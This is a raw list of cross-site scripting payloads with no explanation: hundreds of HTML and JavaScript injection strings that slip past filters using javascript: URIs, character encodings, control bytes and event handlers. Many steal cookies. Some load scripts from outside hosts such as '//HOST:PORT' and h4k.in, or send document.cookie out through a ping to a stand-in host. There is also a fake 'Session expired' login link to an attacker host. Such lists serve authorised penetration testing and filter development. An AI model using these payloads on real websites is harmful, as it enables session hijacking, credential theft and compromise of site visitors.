<a href=??data:text/html;charset=utf-16,%ff%fe%3c%00s%00c%00r%00i%00p%00t%00%3e%00a%00l%00e%00r%00t%00(%009%00)%00<%00/%00s%00c%00r%00i%00p%00t%00>%00??>foo</a>
<a href=”data:text/html,<script>eval(name)</script>” target=”alert(‘ @garethheyes @0x6D6172696F ‘)”>click</a> 
<a href=”data:text/html,<script>eval(name)</script>” target=”confirm(1)”>click</a>
<a$href=”data:text/html,%style=””3cscript>confirm((1)</sstyle=””cript>” onerror=>hello
<a href=”data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt”>Click<test>
<a href=”data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==”>Click<test>
<a href=``explorer.exe``>
<a href=”feed:javascript&colon;alert(1)”>click</a>
<;A HREF=”;//google”;>;1<;/A>;
<A HREF=”//google”>1</A>
<;A HREF=”;http://0102.0146.0007.00000223/";>;1<;/A>;
<A HREF=”http://0102.0146.0007.00000223/">1</A>
<A HREF=”http://0300.0250.0000.0001>1</A>
<;A HREF=”;http://0x42.0x0000066.0x7.0x93/";>;1<;/A>;
<A HREF=”http://0x42.0x0000066.0x7.0x93/">1</A>
<A HREF=”http://0xc0.0xa8.000.001>1</A>
<;A HREF=”;http://1113982867/";>;1<;/A>;
<A HREF=”http://1113982867/">1</A>
<A HREF=”http://127.0.0.1/">1</A>
<A HREF=”http://3232235521>1</A>
<A HREF=”http://3w.org">1</A>
<A HREF=”http://6&#09;6.000146.0x7.147/">1</A>
<A HREF=”htt p://6 6.000146.07.147/””>1</A>
<A HREF=”http://6 6.000146.07.147/””>1</A>
<A HREF=”h tt p://6 6.000146.0x7.147/”>1</A>
<A HREF=”htt p://6 6.000146.0x7.147/”>1</A>
<A HREF=http://66.102.7.147/>link</A>
<;A HREF=”;http://66.102.7.147/";>;1<;/A>;
<A HREF=”http://66.102.7.147/">1</A>
<A HREF=”h tt p://6&#9;6.000146.0x7.147/”>1</A>
<A HREF=”htt p://6&#9;6.000146.0x7.147/”>1</A>
<A HREF=http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D>link</A>
<;A HREF=”;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D";>;1<;/A>;
<A HREF=”http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">1</A>
<a href=http://foo.bar/#x=`y></a><img alt=”`><img src=x:x onerror=javascript:alert(1)></a>”>
<a href=http://foo.bar/#x=`y></a><img alt=”`><img src=xx:x onerror=alert(1)></a>”>
<;A HREF=”;http://google.com/";>;1<;/A>;
<A HREF=”http://google.com/">1</A>
<;A HREF=”;http://google:ha.ckers.org";>;1<;/A>;
<A HREF=”http://google:ha.ckers.org">1</A>
<;A HREF=”;http://ha.ckers.org@google";>;1<;/A>;
<A HREF=”http://ha.ckers.org@google">1</A>
<a href=”https://4294967298915183000">click</a>=>google
<a href=https://attacker/>Session expired. Please login again.</a>
<a href=”http://”/><script>alert(‘zombie’)</script>@www.grayhat.in/">hackers</a>
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>;
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
<;A HREF=”;http://www.gohttp://www.google.com/ogle.com/";>;1<;/A>;
<A HREF=”http://www.gohttp://www.google.com/ogle.com/">1</A>
<a href=http://www.google.com">Clickme</a>
<a href=??http://www.google.com>Clickme</a>
<a href=http://www.google.com>Clickme</a>
<;A HREF=”;http://www.google.com./";>;1<;/A>;
<A HREF=”http://www.google.com./">1</A>
<a href=”http://www.xyydyt.com" style=”color:#143d70; simsun;” onclick=”alert(/a/);this.style.behavior=’url(#default#homepage)’;this.setHomePage(‘http://www.xyydyt.com'); return(false);”>asdasdsad</a>
<A HREF=ht://www.google.com/>link</A>
<;A HREF=”;h&#x0A;tt&#09;p://6&;#09;6.000146.0x7.147/”;>;1<;/A>;
<a href=”// ID.ws”>CLICK
<a href=????&<img&amp;/onclick=alert(9)>foo</a>
<a href=”invalid:1" id=x name=y>test</a>
“/><a href=”invalid:2" id=x name=y>test</a>
<a href=”j&#00000000000000097vascript:window[‘confirm’](1)”>aa</a>
<a href=”j&#00097;vascript:alert%252831337%2529">Hello</a>
<a href=”j[785 bytes of ]avascript:alert(1);”>1</a>
<a href=”j[785 bytes of (&NewLine;&Tab;)]avascript:alert(1);”>1</a>
<a href=”jav&#65ascript:javascript:alert(1)”>test1</a>
<a href=”jav&#97ascript:javascript:alert(1)”>test1</a>
<a href=”java&#115;cript:alert(‘1’)”>link</a>
<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:alert(1)>XXX</a>
<a+href=”javas&#99;ript&#35;alert(1);”>
<a href=”javascrip:alert(document.cookie)”>
<a href=”jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/?—?!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e”>click me</a>
<a href=”javascript://%0d(0===0&&1==1)%0c?alert(1):confirm(2)”>click</a>
<a/href=”javascript:&#13; javascript:prompt(1)”><input type=”X”>
<a href=”//javascript:99999999/1?/YOU_MUST_HIT_RETURN<svg onload=confirm(1)>/:0">Right click open in new tab</a>
<a href=javascript:alert(1)>
<a href=javascript:alert(163)>click 
<a href=javascript:alert(19)>M
<a href=javascript:alert(1)>click 
<a href=javascript:alert(1)>click
<a href=javascript:alert(1)>Clickme</a>
<a href=”javascript:alert(1)-html”>click me</a>
<a href=”javascript:alert(1)//html”>click me</a>
<a href=”javascript:alert(1)”>Link</a>
<a href=”javascript:alert(1)” onmouseover=alert(1)>INJECTX HOVER</a>
<a href = “javas cript :ale rt(1)”>test
<a href=javascript:alert%28 /1/%29>clickme
<a href=”javascript:alert(3)”>Link</a>
<a href=”javascript:alert(72)%%0D3C!?—?
<a href=”javascript:alert(9)”>atul t</a>
<a href=javascript:alert(9) href href=?? href=????>foo</a>
<a href=”javascript:alert(‘test’)”>link</a>
<a href=”javascript:alert(‘1’)”>
<a href=”javascript#alert(‘1’);”>
><a href=javascript:alert(/1-By-Muhaddi/)Click Me</a>
><a href=javascript:alert(/1/)Click Me</a>
??><a href=javascript:alert(/1/)Click Me</a>
<a href=”javascript:&aopf;&lscr;&efr;&rfr;&topf;(1)”>CLICKME</a>
<a href=??javascript:??>Clickme</a>
<a href=javascript:>Clickme</a>
<a href=”javascript&colon;alert&lpar;1&rpar;”>click</a>
<a href=”jAvAsCrIpT&colon;alert&lpar;1&rpar;”>X</a>
<a href=”javascript&colon;alert&lpar;document&period;domain&rpar;”>Click Here</a>
<a href=”javascript&colon;&apos;<script src=/&sol;&ETH;.pw&nvgt;</script&nvgt;&apos;”>CLICK</a>
<a href=javascript&colon;confirm(2)>M
<a href=”jAvAsCrIpT&colon;confirm&lpar;1&rpar;”>X</a>
“><a href=javascript&colon;confirm&lpar;document&period;cookie&rpar;>Click Here</a>
“/><a href=javascript&colon;confirm&lpar;document&period;cookie&rpar;>Click Here</a>
<a href=javascript&colon;confirm&lpar;document&period;cookie&rpar;>Click-1</a>
“><a/href=javascript&colon;co\u006efir\u006d&#40;&quot;1&quot;&#41;>clickme</a>
<a href=”javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;”><button>
“><a href=”javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;”><button>
<A/HREF=”javascript:confirm(1)”>
“><a href=”javascript:confirm%28 1%29">Clickme</a>
“><a href=”javascript:co\u006efir\u006d%28 1%29">Clickme</a>
<a href=”javascript:data:alert(1)”>click</a>
<A HREF=”javascript:document.location=’http://www.google.com/’”>link</A>
<;A HREF=”;javascript:document.location=';http://www.google.com/';";>;1<;/A>;
<A HREF=”javascript:document.location=’http://www.google.com/'">1</A>
<a href=”javascript#document.vulnerable=true;”>
<a href=”javascript:document.write(‘spoof’); void(0);”>Middle-click me</a>
“><a href=”JAVASCRIPT:%E2%80%A8alert`1`”>
<a href=”javascript:’hello’” rel=”sidebar”>x</a>
<a href=’javascript:http://@cc_on/confirm%28location%29'>click</a>
<a href=”javascript:javascript:alert(1)”><event-source src=”data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A”>
<a/href=”javascript: javascript:prompt(1)”><input type=”X”>
<a href=javascript:…>me</a>
“><a href=javascript:prompt(1)>Clickme</a>
“><a href=javascript:prompt%28 1%29>Clickme</a>
<a href=”javascript:void(0)”>click</a>
<a href=”javascript:void(0)” onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
<a href=”javascript:void(0)” onmouseover=&NewLine;javascript:confirm(1)&NewLine;>X</a>
<a href=”javascript\x00:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javascript\x09:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javascript\x0A:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javascript\x0D:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=javascript&.x3A;alert&(x28;1&)x29;//=>
<a href=javascript&.x3A;confirm&(x28;1&)x29;//=>clickme
<a href=”javascript\x3A:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javascript\x3Ajavascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javascript:x=open(‘http://www.xiaonei.com/');setInterval (function(){try{x.frames[0].location={toString:function(){return%20’http://1or.io/Project/poc/docshell.html';}}}catch(e){}},3000);void(1);">Test</a>
<a href=javascript:/**/XYZ:alert(202)>Test_202</a>
<a href=javascript:/*XYZ*/XYZ:javascript:alert(201)>Test_201</a>
<a href=??javaScrRipt:alert(1)??>Clickme</a>
<a href=javaScrRipt:alert(1)>Clickme</a>
<a href=”javas&Tab;cri&NewLine;pt:confirm(1)”>test</a>
<a href=”javas\x00cript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javas\x01cript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javas\x02cript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javas\x03cript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javas\x04cript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javas\x05cript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javas\x06cript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javas\x07cript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javas\x08cript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javas\x09cript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javas\x0Acript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javas\x0Bcript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javas\x0Ccript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”javas\x0Dcript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a/href=java&Tab;script:confirm%28/1/%29>click</a>
<a href=”j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;confirm&lpar;1&rpar;”>Click<test>
<a href=”j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;1&rpar;”>Click<test>
<a href=”j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;1&rpar;” >Click<test>
<a/href=”j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt:confirm&lpar;1&rpar;”>Click<test>
<a href=”j&#x26;#x26#x41;vascript:alert%252831337%2529">Hello</a>
a href=”j&#x26;#x26#x41;vascript:confirm%252831337%2529">Hello</a>
<a href=”j&#x61;vascript:&#x61;lert(-1)”
<a <!?—?? href=”j&#x61;vascript:&#x61;lert(-1)”>hello</a>
<a <!?—?href=”j&#x61;vascript:&#x61;lert&#x28;31337&#x29;;”>Hello</a>
<a href=``mspaint.exe``>
<a href=``notepad.exe``>
<a href=”#” onclick=”alert(1)”>s</a>
<a href=”#” onclick=”alert(‘ &#39&#41&#59&#97&#108&#101&#114&#116&#40&#50 ‘)”>name</a>
<a href= . ????\?? onclick=alert(9) ??????>foo</a>
<a href=”” onclick=``/*/alt=”*//alert(1)//”>clickme</a>
<a href=”#” onclick=”confirm(‘ &#39&#41&#59&#97&#108&#101&#114&#116&#40&#50 ‘)”>name</a>
<a href=”” onclick=``/name==alert(1)>clickme</a>
<a href=”” onmousedown=”var name = ‘&#39;;alert(1)//’; alert(‘smthg’)”>Link</a>
<a href=’#’ onmouseover =”javascript:$(‘a’).html(5)”>a link</a>
<a href=[?]”? onmouseover=prompt(1)//”>XYZ</a
<a href=”?q=javascript%3Aalert(31)”>Link</a>
<a href=”rhainfosec.com” onclimbatree=alert(1)>ClickHere</a>
<a href=”rhainfosec.com” onmouseover=alert(1)>ClickHere</a>
<a href=``shell:System``>
<a href=”&sol;&sol;&filig;.org”>CLICKME</a>
<a href=”&sol;&sol;&Gopf;&Oscr;&order;&gscr;&Laplacetrf;&ee;.&complexes;&ofr;&Mellintrf;”>CLICKME</a>
<a href target=_blank>click</a>
<a href=//target rel=noreferer target=pkav>click</a>
<a href=uhttp://www.google.com">Clickme</a>
<a href=’vbscript:MsgBox(“1”)’>link</a>
<a href=’vbscript:”&#x5c&quot&confirm(1)&#39&#39"’>
<a href=vjavascript:alert(1)v>Clickme</a>
<a href=vUserinputv>Click</a>
<a href=”\/www.google.com/favicon.ico">click</a>
<;A HREF=”;//www.google.com/";>;1<;/A>;
<A HREF=”//www.google.com/">1</A>
<a href=”\x00javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x01javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x02javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x03javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x04javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x05javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x06javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x07javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x08javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x09javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x0Ajavascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x0Bjavascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x0Cjavascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x0Djavascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x0Ejavascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x0Fjavascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x10javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x11javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x12javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x13javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x14javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x15javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x16javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x17javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x18javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x19javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x1Ajavascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x1Bjavascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x1Cjavascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x1Djavascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x1Ejavascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x1Fjavascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\x20javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”&#x3000;javascript:alert(1)”>click</a>
<a href=”\xC2\xA0javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”x:confirm(1)” id=”test”>click</a><script>eval(test+’’)</script>
<a href=”\xE1\x9A\x80javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE1\xA0\x8Ejavascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE2\x80\x80javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE2\x80\x81javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE2\x80\x82javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE2\x80\x83javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE2\x80\x84javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE2\x80\x85javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE2\x80\x86javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE2\x80\x87javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE2\x80\x88javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE2\x80\x89javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE2\x80\x8Ajavascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE2\x80\xA8javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE2\x80\xA9javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE2\x80\xAFjavascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE2\x81\x9Fjavascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=”\xE3\x80\x80javascript:javascript:alert(1)” id=”fuzzelement1">test</a>
<a href=``1.cx``>
<a href=”1.php?a=<sc%0aript>alert(/1/)</script>”>
<a href=?1=<script>>link</a>
<a href=???1=<script>??>link</a>
<a href=”xxx# onclick=alert(1)//[255]”></a>
<a href=”xxx# onclick=alert(1)//[64kb]”></a>
><a id=ahref=javascript&colon;a\u006cer\u0074&lpar;/1-By-Muhaddi/&rpar; id=1-test>Click me</a>#a <
??><a id=??a??href=javascript&colon;a\u006cer\u0074&lpar;/1-By-Muhaddi/&rpar; id=??1-test??>Click me</a>#a <
><a id=ahref=javascript&colon;a\u006cer\u0074&lpar;/1-by-shawar/&rpar; id=1-test>Click me</a>#a <
<a????id=a href=??onclick=alert(9)>foo</a>
a id=CLOSURE_BASE_PATHhref=http://attacker/1 /a
<a id=?? href=????>??href=javascript:alert(9)>foo</a>
<a id=??href=http://web.site/??onclick=alert(9)>foo</a>
<a id=??http://web.site/??onclick=alert(9)<!?Vhref=a>foo</a>?V>
<a id=”x” href=’http://adspecs.yahoo.com/adspecs.php' target=”close(/*grabcookie(1)*/)”>CLICK</a><script>onblur=function(){confirm(4)}x.click();</script>
<a id=”x”><rect fill=”white” width=”1000" height=”1000"/></a>
<a id=1 href=”about:<script>alert(‘1’);</script>”>
a(){};if(true){/*/alert();a=`,x={//
a(){};if(true){/*/alert();a=`,x={//”’<>\r\n\ being escaped
aim: &c:\windows\system32\calc.exe” ini=”C:\Documents and Settings\All Users\Start Menu\Programs\Startup\pwnd.bat”
“/></a></><img src=1.gif onerror=alert(1)>
<A “””><IMG SRC=”javascript:confirm(1)”>
a?><img src= onerror=confirm(1)>
.ajax
a.jsp/<script>alert(‘Vulnerable’)</script>
<a language=vbs onclick=’addUser(\”11\\\”&alert(1)\\\”\”)’>add</a>
[_`${_=`ale`}`]
alt=’”name=’onerror=alert()//’
alt= onclick=alert(1)
alt=””onclick=”alert(1)”
alt=``onload=alert(1)
al\u0065rt(1)
al\u0065rt(87)
always>%20<param%20name=url%20value=https://l0.cm/1.swf>
always%3E%20%3Cparam%20name=url%20value=https://l0.cm/1.swf%3E
<a name=javascript:alert(1) href=//target.com/?1=<svg/onload=location=name//>CLICK</a>
angular.bind(self, alert, 9)()
angular.element.apply(alert(9))
<animate attributeName=”onunload” to=”alert(1)”/>
<animate attributeName=”xlink:href” begin=”0" from=”javascript:alert(1)” to=”&” />
/><animate attributeName=”xlink:href” values=”;javascript:alert(1)”
<animation xlink:href=”data:text/xml,%3Csvg xmlns=’http://www.w3.org/2000/svg' onload=’alert(1)’%3E%3C/svg%3E”/>
<animation xlink:href=”javascript:alert(1)”/>
<anytag onclick=alert(16)>M
<anytag onmouseover=alert(15)>M
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
anythinglr00</script><script>alert(document.domain)</script>uxldz
<anything onbeforescriptexecute=confirm(1)>
<anything onmouseover=javascript:confirm(1)>
<a onclick=alert(18)>M
<a=” onclick=”alert(1)//”>clickme</a>
<a onclick=”i=createElement(‘iframe’);i.src=’javascript:alert(/1/)’;x=parentNode;x.appendChild(i);” href=”#”>Test</a>
<a oncut=alert(1)>
<a/oncut=alert(1)>
<a onhelp=’eval(href+”confirm(1)”)’contenteditable=’true’href=’&#32;javascript:’>click</a>
<a onkeydown=alert(document.cookie)>xxs link</a>
<a onkeypress=”alert(document.cookie)”>xxs link</a>
<a onkeypress=alert(document.cookie)>xxs link</a>
<a onkeyup=”alert(document.cookie)”>xxs link</a>
[[a|onload=alert(1)]]
<a onload=”alert(document.cookie)”>xxs link</a>
<a onload=alert(document.cookie)>xxs link</a>
</a onmousemove=”alert(1)”>
<a/onmousemove=alert(1)//>renwax23
<a onmouseover%0B=location=%27\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3 B\x63\x6F\x6E\x66\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x 6F\x6F\x6B\x69\x65\x26\x72\x70\x61\x72\x3B%27>CLICK
<a onmouseover%0B=location=%27\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x6F\x6F\x6B\x69\x65\x26\x72\x70\x61\x72\x3B%27>CLICK
<a onmouseover%3D”alert(1)”>renwax23
<a onmouseover=alert(17)>M
<a onmouseover=”alert(document.cookie)”>xxs link</a>
<a onmouseover=”javascript:window.onerror=alert;throw 1>
<a onmouseover=location=’&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#10 1&#114&#116&#40&#49&#41'>a<a>
<a onmouseover=location=’&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#49&#41'>a<a>
<a onmouseover=location=??javascript:alert(1)>click
<a onmouseover=location=javascript:alert(1)>click
<a onmouseover=location=zjavascript:alert(1)>click
<a/onmouseover[\x0b]=location=&#039;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B&#039;>rhainfosec
<a/onmouseover[\x0b]=location=’\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B’>
<a/onmouseover[\x0b]=location=’\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6 C\x65\x72\x74\x28\x30\x29\x3B’>1
a. ping=`//pkav/?${escape(document.cookie)}`
&apos;;alert(String.fromCharCode(88,83,83))//\&apos;;alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//?—?&gt;&lt;/SCRIPT&gt;&quot;&gt;&apos;&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;
&apos;&apos;;!?—?&quot;&lt;1&gt;=&amp;{()}
appendChild(createElement(‘script’)).src=’//HOST:PORT’},0)>
appendChild(createElement(“script”)).src=”//HOST:PORT”},0)>
<APPLET+CODE=””+CODEBASE="http://url/1">
<applet code=javascript:alert(‘sgl’)>
<applet code=”javascript:confirm(document.cookie);”>
<Applet code = “javascript: confirm (document.cookie);”>
<applet code=”javascript:confirm(document.cookie);”> // Firefox Only
<applet/object onerror=alert(‘1’)>
<applet onerror=”alert(1)”></applet>
<applet onerror applet onerror=”javascript:javascript:alert(1)”></applet onerror>
<applet onError applet onError=”javascript:javascript:alert(1)”></applet onError>
<applet onreadystatechange applet onreadystatechange=”javascript:javascript:alert(1)”></applet onreadystatechange>
<applet onReadyStateChange applet onReadyStateChange=”javascript:javascript:alert(1)”></applet onReadyStateChange>
&a=&quot;get&quot;;&amp;#10;b=&quot;URL(&quot;&quot;;&amp;#10;c=&quot;javascript:&quot;;&amp;#10;d=&quot;alert(&apos;1&apos;);&quot;)&quot;;&#10;eval(a+b+c+d);
<a rel=”noreferrer” href=”//google.com”>click</a>
<a rel=”noreferrer” href=”//1.cx”>click</a>
arg 1?Galert(1)
Array.from([1],alert)
Array.map([1],alert)
Array.prototype[Symbol.hasInstance]=eval;”alert(1)” instanceof [];
Array[Symbol.species].constructor(‘alert(1)’)();
<article xmlns =”urn:img src=x onerror=1()//” >renwax23
a?<script>alert(‘Vulnerable’)</script>
ascript:alert(‘1’);”>
?asfunction:getURL,javascript:alert(1)//”,
ASP a = val1,val2
ASP.NET a = val1,val2
<a style=”behavior:url(#default#AnchorClick);” folder=”javascript:alert(1)”>click</a>
<a style=”behavior:url(#default#AnchorClick);” folder=”javascript:javascript:alert(1)”>XXX</a>
<a style=”-o-link:’javascript:alert(1)’;-o-link-source:current”>X</a>
<a style=”-o-link:’javascript:javascript:alert(1)’;-o-link-source:current”>X
<a style=”pointer-events:none;position:absolute;”><a style=”position:absolute;” onclick=”alert(1);”>XXX</a></a><a href=”javascript:alert(2)”>XXX</a>
<a style=”pointer-events:none;position:absolute;”><a style=”position:absolute;” onclick=”javascript:alert(1);”>XXX</a></a><a href=”javascript:javascript:alert(1)”>XXX</a>
</a style=””xx:expr/**/ession(document.appendChild(document.createElement(‘script’)).src=’http://h4k.in/i.js')">
<a target=_blank href=”data:text/html,<script>confirm(opener.document.body.innerHTML)</script>”>clickme in Opera/FF</a>
“‘> ?<a/target=_blank href=//go.bmoine.fr/tab-nabbing>Polyglot 1</a>
<a target=”x” href=”1me?1=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{alert%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E
<a target=”x” href=”1me?1=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{confirm%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E
<a target=”x” href=”1me?1=<script>find(‘cookie’); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate(‘//script/text()’, doc, nsResolver, 0, null); alert(result.iterateNext().data.match(/cookie = ‘(.*?)’/)[1])</script>
<a target=”x” href=”1me?1=<script>find(‘cookie’); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate(‘//script/text()’, doc, nsResolver, 0, null); confirm(result.iterateNext().data.match(/cookie = ‘(.*?)’/)[1])</script>
<a target=”x” href=”1me?1=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src=%22javascript:parent.x(window);%22></iframe>#var xhr = new window.XMLHttpRequest();xhr.open(‘GET’, ‘.’, true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = ‘(.*?)’/)[1]) };xhr.send();
<a target=”x” href=”1me?1=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src=%22javascript:parent.x(window);%22></iframe>#var xhr = new window.XMLHttpRequest();xhr.open(‘GET’, ‘.’, true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = ‘(.*?)’/)[1]) };xhr.send();
